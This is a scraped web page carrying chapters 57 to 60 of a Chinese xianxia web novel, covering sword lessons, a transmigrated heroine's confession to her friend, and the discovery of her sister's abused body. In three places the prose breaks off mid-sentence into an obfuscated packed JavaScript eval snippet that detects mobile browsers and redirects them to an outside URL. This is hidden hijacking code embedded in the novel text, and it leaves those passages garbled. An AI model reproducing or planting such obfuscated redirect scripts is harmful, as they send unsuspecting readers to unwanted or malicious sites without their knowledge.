她本意只是寻常地问一句,毕竟苏逢雨把她俩遇见的事说了,却没说打架的细节也挺符合她这个人的性格的,她可能单纯就是不关心别人用的什么招数。没想到蒲飞鸢听了这话脸上的表情顿时变得有几分复杂:“嗯……她大概是忘了,你来说吧。” ?不对劲。蒲飞鸢这么直给的人什么时候讲话还会“嗯……”了?这么难以言喻吗?昨日两人究竟说什么了? 她按下自己心中的一团疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146633|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑,老实把自己那日用的剑诀说了一遍,又起身去房中拿出摇羽,给蒲飞鸢演示了一遍动作。 蒲飞鸢总结得很快:“出招还是有些犹疑不定,当时对面多少人?” 关云铮本来想辩解一句现在犹疑不定是因为被她盯着,以前考试要是监考老师走到身边,确定的答案她都能写得犹疑不定,但很快她又屈服了,事实上那日她出招时比现在还要犹豫,因为压根没实战过,心里完全没底。 因此她沮丧道:“五个。” 蒲飞鸢挑眉:“这么厉害?” ?这么包容?还以为问人数是要让她以后临危不乱,结果怎么是表扬式教育? “你的剑如今和你似乎配合不错,御剑我看看。”蒲飞鸢又说。 关云铮悬停摇羽,刚踩上去站稳,准备操纵它飞行时,脚下的剑一阵剧烈的晃动,把她从剑上摔下来了。 蒲飞鸢压根没防备摇羽发难,愣了一下:“它这是做什么?” 关云铮也很茫然,坐在地上看向摇羽:“你这是做什么?” 虽然归墟不冷,席地而坐也挺舒服,但是这已经是她三天之内第二次摔在地上了,这种席地而坐还是不要再有第三次的为好。 摇羽没动静。 关云铮皱眉:“先前都能说话了,怎么今日……”她回头看了眼蒲飞鸢,“不如先生检查点别的剑招?它今日可能心情不大好。” 蒲飞鸢失笑:“你倒是愿意包容。” 关云铮从地上爬起来,把摇羽拿回手里,嘀咕了一句“还能离咋的”,在蒲飞鸢的注视下开始听从指示复习别的剑招。 开了一会儿小灶后,楚悯那边讲课的声音也停了,两人似乎开始了实|操,蒲飞鸢也突兀地停下了指示,隐约显露出对那边的动静很感兴趣的神色。 关云铮感觉自己看明白目前的形势了,于是试探着问:“要不过去看看?苏修士介意有人旁观吗?” 蒲飞鸢笑着说:“你比较讨人喜欢,你去问问?” 关云铮倍感莫名,平时说她讨人喜欢,受众要么是师门,要么是师父的师门,那还算可以理解,毕竟大家对她都非常友好(除了凌风起),但是这句话在苏逢雨面前完全是不成立的吧?谁都能看出来面前这位教她们武器的,才更讨那位琴修的喜欢啊? 但她都这么说了,自己总不好得了便宜还卖乖,关云铮认命地走过去,从月洞门后探出脑袋:“苏修士,我可以过来旁听吗?” 苏逢雨弹琴的手一顿:“随你。” 关云铮悄悄察言观色,然后故意扭过头喊蒲飞鸢:“先生,苏修士说可以来旁听。” 苏逢雨陡然弹错一个音。 关云铮和坐在桌边的楚悯对视了一眼。 确认过眼神,一定有问题。 因为苏逢雨和楚悯是对着坐的,所以不论选哪个位置都会与两人挨着,所以蒲飞鸢走过来没多犹豫就在其中一个位置坐下了。 关云铮在最后一个空位上坐下,听苏逢雨给楚悯继续弹奏方才那支曲子,弹完后解释了一句:“这是清心诀。” 楚悯点点头:“乐曲与术法的清心诀有何区别?” 苏逢雨弹完琴收回手:“无甚区别。只是有时两方对战,术法无法触及,琴曲只要被听见便可发挥作用。” 楚悯明白了,又问道:“苏修士可有曲谱?学生日后巩固也方便一些。” 苏逢雨从乾坤袋里摸出一本册子:“这谱子有些旧了,个别音有误,我在上面圈画出来了,若是看不懂再问我。新的琴谱我还在写,过几日再给你。” 楚悯伸出双手接过:“多谢修士。” 苏逢雨“嗯”了声:“今早就先讲这些,还有什么问题要问?” 关云铮悄悄举手:“我有一问,但可能与教习无关,能问吗?” 苏逢雨给了个眼神,示意她直说。 昨日苍韫桢同她形容的“苏逢雨”实在令人印象深刻,加上昨晚章存舒说的话,这个问题她实在是很想知道答案,于是获准后便问道:“您不愿被称作先生吗?” 58.第 58 章 其实称呼苏逢雨为“修士”没什么问题,她还没正式成为归墟请来的教习先生,或者章存舒喊她修士喊习惯了一时没改口,都有可能是这样叫的原因。 她昨晚也只是随口一问,料想着左不过也就那些原因,谁料章存舒说:“这问题不如你们明日问她,想必她会有比我更精彩的答案。” 那就说明了章存舒是特意这样叫的,不存在习惯了一时没改过来的原因,也并非因为苏逢雨尚且不是正式的教习先生才这样称呼,这个称呼是苏逢雨自己指定的,并且听章存舒的意思,苏逢雨还很有可能不愿被用“先生”称呼。 平心而论,这件事没什么特别的,每个人都会有各自在意的事,这些事在别人眼里或许只是一些无关轻重的小细节。 但关云铮无端想起自己还没有穿越过来之前,频繁在网络上看到的辩论,关于该用“先生”还是“女士”来称呼一位民国时期的女作家。因此当苏逢雨表示随便问什么问题时,她就提出了这个疑问。 说实话,问完的当下她就有点后悔,因为这个问题算不得很友好,她自忖甚至有几分冒犯,但话已出口,覆水难收,她只好忐忑地等待着苏逢雨表态。 苏逢雨没生气,应该说她的神情没什么变化:“先生是给男人的称号。” 嗯……感觉苏逢雨在这件事上的态度越来越像“现代人”了,只不过她比网络上的某些过激网民温和多了。 楚悯试探着:“那蒲先生……?”可以这样叫蒲飞鸢吗? 蒲飞鸢还没表态,苏逢雨先面无表情道:“关我什么事,问她去。” 关云铮汗流浃背了:也不是问您啊……而且现在您二位不就挨着坐呢吗…… “谁说的教书育人的只能是男人?凭什么男女都能做的事,到了女人身上,就得委屈用给男人的称号?朝廷都单独给女子开设科举了,以后教书育人为官为民的不只有男人,为何不能取一个别的称号来称呼这些女人?”一片沉默中,苏逢雨忽然说了一长串话,只是她话音落下后,小院里更安静了。 楚悯和关云铮在思考,蒲飞鸢则露出有些苦恼的神情,只是那神情很短暂,还没等关云铮注意到,就被蒲飞鸢不动声色地按捺下去了:“修士不也挺好的吗?” 苏逢雨居然冷笑了一声,关云铮和楚悯不明所以但下意识一惊,还没等两人想明白她为何冷笑,就听她对着蒲飞鸢说:“我可以不用这个新的称号,但是它不能没有。你一直不明白我究竟想要什么。” 说完苏逢雨就抱着琴起身,头也不回地往外走了。 蒲飞鸢似乎也没料到苏逢雨的动作,坐在原地愣了一会儿才追上去,甚至顾不上跟两位学生解释几句。 关云铮被楚悯叫她名字的声音唤回思绪:“怎么了?” 楚悯把月下逢挪远了些:“在想什么?” 关云铮不答反问:“小悯,你看过话本吗?” 楚悯摇摇头:“未曾,但大概知道一些,讲的都是些情节精彩有趣的故事。怎么忽然说起这个?” 关云铮看着她:“你觉得,我们所在的世界,会是某个人写的话本吗?” **** 柳卿知按照计划,在天色彻底黑沉下来之前抵达了一处驿站,翻身下马后,把缰绳交到听见动静出门相迎的人手中。 “您用过晚膳了吗?”相迎牵马者是个刚及笄的小姑娘,抬头看柳卿知时眼神关切,亮晶晶的。 柳卿知摇头,背着包袱往里走:“后厨还有什么,随意吃些便可。” 那姑娘把马交给驿站内的小厮:“酒肉饭菜都还有,您吃些什么?” 柳卿知失笑:“随你,我不挑。” “那您先进去稍候。”姑娘说完便提着裙摆匆匆跑向后厨了。 柳卿知尚未担任宰相一职的前几年,被苍韫桢假借各种名头在全国范围内调派,时而去离朝安近些的北方,时而又被“左迁”,去西北的荒郊野外任官。而且总是从差些的地方回来便升官,要不了多久又贬,搞得朝中一多半的人都对苍韫桢那段日子的举动一头雾水。 但柳卿知官阶太低,在皇帝面前也说不上话,每次不论是拔擢还是贬谪,都混在一群旁的封赏和惩处里,不算十分引人注意。 朝中自然也有清楚皇帝想做什么的人,个别胆大的还派出心腹去往柳卿知任官之地私自调查,发觉柳卿知无论在何处都只是每日帮着调停些鸡零狗碎,为官几年也没点官威,始终被百姓呼来喝去,这一来二去,也就没了继续探查的念头。 有句俗语叫“屁股决定脑袋”,柳卿知始终觉得这句话无比正确,只是不知道是处在何处的屁股,能有如此智慧的脑袋。 世家门阀一代代传承下来的官位坐久了容易丢掉脑袋,跟踪她去了那么多地方也没看出她在做什么,没查出她管辖的范围之内,还有很多处像此处一样的驿站。 她在桌边坐了会儿,方才的姑娘已经手脚利索地端着饭菜进门了:“您慢用,若有需要我就在门外。” 柳卿知颔首:“多谢。” 那姑娘连忙摇摇头:“您客气了,能帮上您是我的荣幸。” 柳卿知笑了一下:“我白吃白喝你怎么反倒感恩戴德?不要被最初的恩情裹挟,若我是坏人呢?” “您又不是坏人,驿站都是靠您才搭建起来的,怎么能说是白吃白喝。” 柳卿知知道她是要较真了,赶紧抬手示弱:“劳烦你去帮我喂喂马,还有今夜住的房间,也得麻烦你了。” 那姑娘这才罢休,嘴里低声念叨着什么,走出门去了。 柳卿知拿出纸笔给苍韫桢写信,写完后把信纸丢进一旁的火盆里,看着它燃烧殆尽,连灰烬都没剩下。 提前安排好全国各处的驿站有两个原因:一是安插人手方便获取各地的消息,另一便是为了建立通信渠道。 自从她坐上宰相之位,苍韫桢的计划、柳卿知的布局便只有彼此知晓,自然也包括了各处驿站里灯火的位置。 确认信纸被吞噬殆尽后,柳卿知简单收拾了碗筷,走出门去。 天色黑得能漏墨,唯有不远处的马厩和她站立的地方,各自点了一盏昏黄的灯。 **** “如果,我是说如果,我们所处的世界源自某个人写的话本,笔墨构成了此处的山水草木,情节搭建了万事万物运行的法则。而在这一切之上,话本的撰写者将自己的意志倾注于此。” 楚悯神色专注:“倾注意志?你的意思是某些事物的发展不受我们掌控,而是被撰写者的意志掌控?” 关云铮点点头:“还有一种可能,撰写者会把自己的意志投注于笔下某个角色身上,让那个角色说出撰写者本人想说的话。” 楚悯明白她忽然提起这个是想表达什么了,问道:“你觉得苏修士的身上有撰写者的意志?” 关云铮瞬间收敛了脸上凝重的神色,笑着摊开双手,表示自己说的话做不得真:“那倒不是,我只是忽而有个猜测。” 把苏逢雨的清醒言论说成是“撰写者的意志”无疑是另一种不加思考的残忍,就像旁观他人在没顶的泥潭中挣扎求生,没有任何帮助的情况下,艰难探出脑袋求得一点喘息的余地,又残忍地加了一铲子的泥。 一句轻描淡写的“她的言论不过是因为背后有人操纵”,就会抹杀掉这个人成长过程中所有的闪光时刻。 因此关云铮又找补了一句:“只是猜测,没有根据,就是觉得苏修士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155531|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才说的话更像是我在,额……” “在别处看来的?”楚悯同她心有灵犀似的,笑着问道。 关云铮被她逗笑,总用“别处”来指代那个不同的世界,小悯都快习惯性接梗了。 她叹了口气,觉得到现在也没什么好隐瞒的了,估计面前的天问奇才早八百年就看出来她魂魄和壳子不是同一个出厂配置了,索性坦白道:“这具躯体并不属于我。” 楚悯愣了一下,但并非因为她所说的话,而是没料到她会在这样的时机下说出这话:“我知道……只是,你大可不将此事告知于我。” 关云铮摇头:“我有不太好的预感,所以此事我必须说给你听。” 她抬手示意楚悯别打断自己,然后尽量用听起来像正常人的语言形容了可能根本不在同一个时空的21世纪,和21世纪颇受欢迎的修仙文题材,说完后看向楚悯:“这样说你能明白吗?” 楚悯没犹豫就点了点头:“其实我并不在意你的魂魄来自何处,虽然我确实在第一次见到你时就忍不住‘问’过,那时我已经得知你的魂魄并不属于此间,但在那之后,我是真心想要与你做朋友。” 说到这楚悯也有点惭愧:“尚未得到你的许可便私自窥探,实属不该。” 关云铮不在意,毕竟这技能对于小悯来说都快成被动了,放入场地就生效的东西有什么办法。 楚悯很快问出她更在意的问题,神色忧虑:“你说这些之前说,‘有不好的预感’?” 关云铮此时反倒有些难以启齿起来,对比起袒露自己的秘密,她更无法开口把原身的事情说出来,但这件事偏又非说不可:“我第一次下山时遇见了鬼灯楼的人,此事你还记得吧?” 楚悯点头:“记得。” 关云铮伸出手指向自己,艰难道:“其中一人说,他见过‘我’,‘我’是个本该死了的人。” 楚悯皱眉:“是他们取了这具躯体的生魂?” 关云铮点头:“这次下山寻找武器,我仍旧想查清此事,被阵法送往天问,在溯洄中‘见到了’她的魂魄。” 楚悯的神色也明显地焦灼起来:“如何?可听到她生前说的话了?或是看到她生前所经之事?” 关云铮摇了摇头:“我只听见她同一个人对话,那人问她‘你当真自愿’?她答‘是,我自愿’,其余什么也没得见。” 楚悯不由得问出了和彼时关云铮想的一样的问题:“自愿?自愿什么?” 但是两人都心知肚明,没有生前的景象支撑,她们是无法得出确切的结论的,最多也只是大胆但毫无依据的猜测。 “献舍当真失传了吗?”关云铮忍不住问道。 楚悯居然有些凶地瞪了她一眼,随后才说:“不许说这话,若你是献舍召来的恶魂,章先生又怎么会看不出,又怎会收你入门。” 关云铮被她一眼瞪懵了,过了好一会儿才安抚道:“好好我不说了,别生我的气。” 楚悯还有些不高兴似的:“献舍时躯体上也需勾画阵法,不可能不留下痕迹,所以必然不是献舍。” 关云铮心想,那大概也不是夺舍了吧,她要是敢说自己是夺舍估计小悯还能横她一眼。 楚悯看她没有要自贬的意思了,神色好些:“是这两次下山都没寻出真相,让你觉得有必要把这件事告诉我吗?” 关云铮点点头:“我希望你也知道此事,知道有这样一个……可怜人。” 连怎么死的都不知道的可怜人。 楚悯轻轻拍了拍她的手背:“一定能查出真相的。” 关云铮正想积极地给个回应,江却已经不打招呼直接从月洞门那边跨过来了,一露面就看向了她:“山下出事了。” 59.第 59 章 虽然入师门以来总共没同大师兄说过几句话,但以江却的性子来说,会说出“出事了”这样的话,想必形势已经严重到了无法用言语掩饰的地步。关云铮几乎是第一时间就从桌边站了起来:“可是我家中出了事?” 江却颔首:“小越方才与我传音,说关家门前……”他停顿了片刻,“挂上了白灯笼。” 坦白说这一刻关云铮不是很难过,也并不觉得震惊,因为去世的大概是关云筝的父亲,那个在家庭教育中极有可能缺位的人。但毕竟是原身的父亲,她沉默了短暂片刻:“我这就下山,多谢师兄。” 江却没多说:“我与你同去。” 楚悯也把月下逢收进乾坤袋:“我也去。” **** 闻越下山是和李演一起去谈生意的,先前每次煮奶茶用的水牛乳都是李演取来的,来自同一位农户。农户家中有几头刚产崽的牛,因此还供应得上,但母牛产崽不可能从年头到年尾都不间断,故而早些时候李演就同那位农户提过一句日后的供应问题。 爱煮奶茶的那位小徒弟每日课业繁忙,此事倒不那么急迫,只是昨日李演下山时正好碰见闻越的兄长闻逍,闻逍认得他,同他打过招呼问他来意,那之后便去和那农户商量来日的合作了。 闻越昨夜修补完卷册回去时还一头雾水,不知道李厨单独找他是有什么事,听他解释清楚来龙去脉后才说:“行啊,什么时候去谈?” 李演知道这小子巴不得下山放风:“明日一早。” 闻越没意见,毕竟师门大家都挺喜欢喝这奶茶的,固定了供应后随时都能取用也挺方便。 于是两人当即拍定,今日一早便一同下山了。 展骏早早等在镜溪城入口,见到闻越和李演后行了个礼:“小少爷,李先生。” 李演连连摆手:“我只是个舞刀弄铲的厨子,算不得什么先生。” 闻越搭了句话:“李厨不必过谦,要是实在不自在,展骏你就也喊他李厨就行。”说完他又好奇道,“那位农户家在何处?” 李演自然知道农户所在,但展骏还是比他们快走两步,在前方带路:“小少爷,其实那位农户是家中庄子里的散户。” 李演笑骂一句:“我就知道。”不然怎么解释闻逍这个大少爷昨日会在那农户家里。 闻越也笑:“我怎么不知道家中庄子里还有养牛的农户?” 展骏一边带路一边为他解释:“实则是耕地用的水牛,打牛犊时候开始养的,那阵子小少爷不在家中,没碰上庄户来汇报。” 闻越点点头:“大哥昨日怎么说?” 展骏一五一十回答:“水牛乳需求少,家主让农户以后定期给归墟留一些。” “没了?这么简单的事还要我特意下一趟山?”闻越疑惑。 展骏一时语塞,李演却没有顾忌,直言:“怎么,你难道不愿意下山?” 闻越忙不迭点头:“愿意愿意,自然愿意。” 三人正要拐过街角往土路的方向走,闻越余光里看见什么,下意识转过头,隔着一段距离望见远处的关家正门。 “展骏。” 展骏应声回头,看他停在原地,走回来几步:“怎么了小少爷?” 闻越感觉自己的声音有点飘:“那些人在做什么,挂白灯笼吗?” 展骏皱眉,顺着闻越的视线看过去:“关家?家主一直注意着关家,怎么可能出了事都……” 他话还没说完,就见身边的闻越已经变了脸色,口中喃喃自语:“我得传信回去,不对,灵蝶太慢了,师父也不一定在门中……” 展骏没敢出声打断他的思绪,和李演一起站在旁边,站成了两根面色忧虑的木桩。 “我得传音给师兄,你们先去农户那,我去关家看看。”闻越撂下一句,迈开步子头也不回地往关家走了。 **** 关云铮和楚悯的御剑术其实都还没到可以独立安稳飞行的水平,楚悯是因为始终有所顾忌,关云铮则是水平完全不稳定,发挥好坏全凭摇羽心情。 也正因此,江却提出楚悯应与他共乘一剑时无人反对,关云铮则在一边低声对出鞘的摇羽碎碎念:“虽然我不知道你方才把我摔下来是发的什么疯,但我请你待会儿别让我摔下来,摔死我你虽然就自由了,但我师父应该不会放过你的。” 摇羽沉默片刻,也压低声音答道:“到底是不是你家出事,你还有心思同我说这些话?” 出事的确实不是她家,不然她怎么可能还在这说地狱笑话。就是这样一个对烂人会开足马力缺德的小女孩,如何呢。 摇羽没得到她的回答,又幽幽地说了一句:“方才你自己没专心,操控不好剑也是正常。” 江却和楚悯已经准备出发了,关云铮连忙踩上剑缀在两人后面,平稳飞行后不忘回怼一句:“我专心就能操控你?这话说得好像你是我的本命剑一样,早先你还每天骂我呢。”假设摇羽当真是她的本命剑——这世上真有这么离谱的本命剑吗? 摇羽没好气:“我怎么不算是你的本命剑了?当日在剑冢是我把剑塞进你手里的,没有那一遭你还能与不熄鼎建立联系吗?” 关云铮条理清晰地挨个反驳过去:“我本来就能与不熄鼎建立联系,不然我怎么进的剑冢?没有这一遭我还能与不熄鼎建立联系,你也能在剑冢里自由自在,反倒是经此一遭没了自由身。”她热衷于和摇羽抬杠,“还有,那是雁翎刀,不是剑。” 摇羽咬牙切齿的:“你就仗着我不敢在这时候摔你。” 关云铮垂眼:“是吗?我倚仗的原来是这个?我还以为是我专心操控,本命剑回应我了呢。” 摇羽被她哽了一句又一句,这下彻底不回话了。 感谢此刻大师兄和小悯都飞在她前方,摇羽又没有实体看不到她的神情——她脸上分明没有方才挤兑摇羽时应有的揶揄和喜色。 根据上次下山关家的情况来说,让他们挂上白灯笼的大概率是那位得了肺结核的家主,但关云铮无端感到惴惴不安,哪怕御剑飞行的高度分明很有限,风声并不呼啸,吸入呼出的气也并不刺骨。 方才她对楚悯说“不好的预感”并不是一句模糊的托辞,自从天问掌门把将隐赠与她,她就始终对一些事情有着强烈的预感。 这种预感很微妙,没有具体的指向,只有心理暗示般的此事会变好或变坏,像是被将隐放大了因果。 因果。 此事又有什么因果? 难道将隐发觉此事有待推敲? 御剑飞行的速度很快,或许摇羽当真是她的本命剑吧,关云铮顾不得在这件事上深想,在镜溪城入口处落了地,便遵循着记忆快步往关家的方向走。 快速走过街角时似乎看见了一片熟悉的衣角,关云铮脚步不太明显地一顿,随即又不动声色地继续往前走。 江却自然注意到了她那点微不可察的停顿,但没说什么,沉默着走在两位师妹身后。 关家宅邸离青镜山下的镜溪城门很近,拐过几个街角后便近在眼前。 这个距离一切都清晰得无法作伪,扎白灯笼的纸张被吹得哗哗作响的声音都能被风送进耳朵里。 无人守门,大门敞开着,地上甚至掉落了一朵纸花,花瓣被人忙乱中踩了几脚,快要被碾进门外的尘土里了。 病了这么久的人去世,居然准备得如此匆忙凌乱……关云铮皱眉,跨进门槛。 门内更是乱得无法想象。 身后那道大门像是隔绝了苦难的屏障,骤然从门外跨进来的一瞬间,关云铮就听见了一阵绝望的、尖细但沙哑的嚎啕。 嚎啕声伴随着模糊不清的语句和恨意强烈的咒骂,声音有些熟悉,应该是原身的母亲。 那种不安的感觉更强烈了,关云铮感觉喉咙发紧,过往那些由于太过痛苦而产生的生理反应就像是镌刻在灵魂里,在这具不属于她的躯体里卷土重来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15173532|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她徒劳地攥了一把自己的领子,皱着眉狠狠地咽了一口浊气。 江却看她站在原地许久,上前一步:“哭声应当是来自那边。”他抬手指了一个方向。 关云铮短促地点了点头,顾不上回头安抚一句神色担忧的楚悯,再度迈开步子往江却所指的方向走。 院里的花几乎全部卷了边,花瓣像是被一把大火燎过,全部泛着焦黄的死气。 荷塘里的枯荷残枝与那幅名画一模一样,走上木桥时远远一看,几乎像是冰冷的无机质金属,漆黑的、曲折的,简直不敢相信这样的枝条上曾经绽放过那样的生命。 关云铮停下了脚步。 哭喊就在眼前。 死亡就在眼前。 原身的母亲扑倒在地,而地上躺着一具冰冷的尸体。 不是原身的父亲,不是那位得了肺结核本应不久于人世的关家家主。 是本应嫁给季邕得偿所愿的那个姑娘,原身的妹妹——关云漪。 **** “我未曾向你许诺。”屏风后的人说话听不出情绪。 “可我是跟你们做的约定,是,许诺我的人已经死了,那你呢,你跟他是一起的,你一定也能兑现诺言,对吗?” “不对哦。我不同你这种人做约定,也不会为他那种人兜底。” “你们到底要我怎么样?答应你们的我都做了,还要我做什么才愿意把东西给我?” “别张嘴闭嘴你们你们的,谁跟那人是们。我看你现在说话不是挺有劲的吗,折磨起人来也没见你手软,怎么,你觉得自己还需要那东西?” 屏风后的人像是对这场谈话彻底失去了耐心,从桌案边起身:“我还有事,先告辞了。” “殷掌司!”屏风前的人道破那人的身份。 殷含绮打着扇子的手一顿,眼睛也眯了起来:“你威胁我?” 房里的烛火突兀地闪烁一番,没来由地熄灭了。 “你以为我会在乎你的威胁?”殷含绮笑了一声,越过屏风走到那人面前,“你当我不敢杀你?当我同你说这些话是因为我要接过同门的烂摊子?” “死太便宜你了。”殷含绮重新打起扇子,把脸掩在扇面之后,轻声笑起来。 **** 关云铮木然地朝躺在地上的尸体走去,刚要蹲下查看,就被反应过来的原身母亲一把搡开:“你回来做什么!你怎么还有脸回来!若不是你,若不是你,我的漪儿……” 她的声音早就哭哑了,粗粝得像个声带受损强行说话的老巫婆,此刻伏在尸体身上的画面配上这样的声音,看着居然有几分瘆人。 关云铮好歹学了一个月的功夫,原身母亲那一下只是把她推开了些,推倒她还不太够,因此她站在原地片刻,还是木着脸问道:“我做什么了?我在山上这么久,难道是我害死的她?” 面前的人分明也是“她”的母亲,抬起头来对“她”说话时却带着那样明显、不加遮掩的恨意:“你是不是早就知道……你才会逃到山上去,把我的漪儿往火坑里推,是不是!” 关云铮脸上终于出现了一点表情,她听见自己冷笑了一声:“母亲,是您和季家公子合谋,为了那点抚恤,把我卖上了仙山。火坑,也是您的漪儿自己抢着要往里跳的,我既没哄骗又没推搡,怎么能怪上我呢。” 原身的母亲骤然发难,猛地站起身就要往关云铮脸上抽一巴掌。 关云铮比她反应更快,抬起手一把擒住了她的手腕:“觉得那是个金窝银窝的时候想不起我,想尽办法把自己的宝贝女儿嫁进去,落得这个下场后又怪罪于我……我是您亲生的吗,要让您这样一次次作践?” 站得近了能清楚地看见关云漪身上的伤痕:脖颈上有被绳子勒过的痕迹,手臂上有刀伤和烫伤,哪怕不是被凌虐至死,至少生前也没少承受虐待。 季邕…… 关云铮甩开原身母亲的手,垂落的另一只手握紧了拳头。 60.第 60 章 “是季邕做的。”在关家夫人凄惨的哭声中,楚悯听见关云铮用平静的语气说道。 听上去十分平静的关云铮背对着江却和楚悯继续说道:“上次下山我请求闻家大哥出面,取消关家与季家之间的婚约。” 关家夫人没来得及答话,三人身后传来闻越的声音:“是,那之后便取消了。” 江却和楚悯一起回头,对上了闻越自责的目光:“我大哥说,你妹妹的……遗体是今日天还未亮时被送回关家的,走的是少有人经过的后门。” 关云漪身上的伤痕触目惊心,比电视剧里化的特效妆要恐怖好几倍,关云铮无法避免地再次想起那张图片——割得血肉翻飞的手腕,黑红一片的画面……她不得不克制着情绪,好让自己不要在此时露怯,因此她也没有回头,而是背对着两位师兄和楚悯答道:“此事不怪你。” 怪不了关家和季邕以外的任何人。 再说了,就算要怪,她这个霸占着原身躯壳的人又有什么资格? 她甚至不知道原身对自己妹妹的感情究竟如何,无论是怨怼还是惋惜,在不明真相的此刻都是无用的。 “你觉得惯着关云漪,让她嫁给她想嫁的人是爱她,是成全,你看到他们是怎么把她送回来的了,天都没亮,从后门送回来的。门房那时候醒了吗,在后门吗,她的遗体在外面的露水里又停了多久?” “你究竟是怎么想的,能与季邕合谋把我送上仙山,反倒无法阻拦她和季邕?”关云铮越说越气,而原身的母亲像是屏蔽了她的质问,依旧伏在关云漪的尸体上哭泣着。 “别哭了!”关云铮骤然爆发出怒意,“她不会回来了,你再哭她也回不来了!” 她用手背抹了一把自己的眼角,借此动作勉强收敛一些怒火:“你是怎么瞒过闻大哥的眼线让她和季邕私下会面的?” 问完她又自嘲似的笑了一声:“算了,问你做什么,我去问季邕。” 说完她转身要走,身后原身的母亲终于开口道:“谁会知道季邕是这种人!你以为漪儿死了我心里不难过吗!” 关云铮猛地转回身:“我难道不曾告诉过你季邕的品性如何吗?不曾同你说他绑了我还打算违背约定吗?我难道不曾明确地表达过,此人决计嫁不得吗?”她怒不可遏,胸膛剧烈起伏,“可我说的这些话你听进去了吗?你只相信自己看到的,季邕在你面前表现得温良可亲,你就觉得他是个可堪托付的好人,他懂你不喜欢我,提出把我送上仙山,正合你意,于是你又迫不及待地要报答他的恩情,将自己另外一个女儿嫁与他。” “你如今流这些眼泪又是给谁看?除了能让你自己心里好过一些,又能告慰谁?关云漪如果知道她是怎么一步一步走进这座坟墓,灵魂一定会不得安宁,每日夜里怕不是都会来找你,在你耳边哭诉,她被季邕虐待毒打的时候,到底有多痛。”关云铮说到这里简直开始觉得自己可笑了,看到关云漪尸体惨状的那一刻就注定了,与原身的母亲说什么都是徒费口舌。 她陷落在家道中落那一场噩梦里,愿意相信的都是她自己和他人精心编织出的骗局,哪里听得进一句人言。 “你们都是我怀胎十月生下来的孩子,受伤了痛了,我这个做母亲的怎么可能不跟着心痛呢?”她又开始哭了。 关云铮漠然转身:“收起你的眼泪吧,你的孩子都死了。” “你在仙山这些天究竟学了些什么?怎么会变得如此冷血无情!”为什么你上仙山修道后,每次回来家里都没有一件好事! 关云铮发现自己还挺厉害的,气到这个程度居然还笑得出来:“跟你有何关系?你的大女儿早就死在被你送上仙山那天了。” **** 先前关家出事关云铮是独自下山,虽然回去之后跟师门简单说过自己在山下的经历,但语言永远没有亲眼所见来得震撼人心。 因此四人离开关家宅邸后好长一段时间都没说话。 关云铮情绪糟糕到了极点,但她不知道该怎么形容自己此刻的心情。直面尸体及其惨状的当下,她既震惊又愤怒;见识到了原身母亲对于这件事的态度后,她只觉得无比的荒谬;不间断的质问本该排遣一部分愤怒,但她说完后反而陷入了更庞大的茫然之中。 她甚至感受不到原本对原身两姐妹的惋惜与痛心了。 关家虽然家道中落,但多少有着从前的家业支撑,宅子依旧占了好些面积。几人各怀心思走得很慢,半晌过去依旧走在关家的墙根下,关云铮走出去十几步远,依旧感到一片空茫。 为什么会有这样的母亲?为什么会有这样的家庭?为什么偏偏是原身遭受这一切?她的灵魂在弥留之际做的唯一一件事甚至是让她这个夺了她躯体的人,去看一眼她重病的父亲。 楚悯看她神思不属,默默落后半步走在她身侧。 门派中曾经有长老对出关后的掌门说过,天问可以没有镇山灵器,灵器也可以不是溯洄,但她父亲执意要付出代价成就溯洄,因为他不能忍受真正地付出了代价,离开人世的人是他的弟弟。 楚悯年幼时不懂,长大后才明白,那时父亲所做的一切其实无关血脉亲情。倘若离世之人并非她叔父,他的亲弟,他也会这么做。 因为那是一种侥幸存活的人对已死之人的愧怍。 正如片刻之前,站在关家宅院之中质问关家夫人时,关云铮脸上的神色。 她尚且不知自己为何来到此世,就接连得知原身与原身的妹妹都死了,此刻她会是什么心情? 楚悯在心里叹了口气。 走在四人最后的江却一如既往的沉默。先前他对师妹的认知一半基于小映的描述,一半是自己所见,现今他意识到,师妹不只有小映描述的心思灵巧一面,也不只有在他面前拘谨的一面,还有......方才痛斥怒骂的一面。 他自己还未记事便没了父母,做流民时见过一些带着孩子的母亲,后来被师父带回归墟学习课业,也了解了寻常的母子之间会如何相处。 云铮的母亲......思及此,他也在心里叹了口气。 走在江却稍前头的闻越正默默用灵牒和他大哥传信,告知他此事进度。早晨他看见关家宅邸外悬挂白灯笼的当下便上前确认,随后就跑回家里去找他大哥了。 他大哥做事向来靠谱,没道理派人盯着关家,结果发生了这么大的事还不知情的。 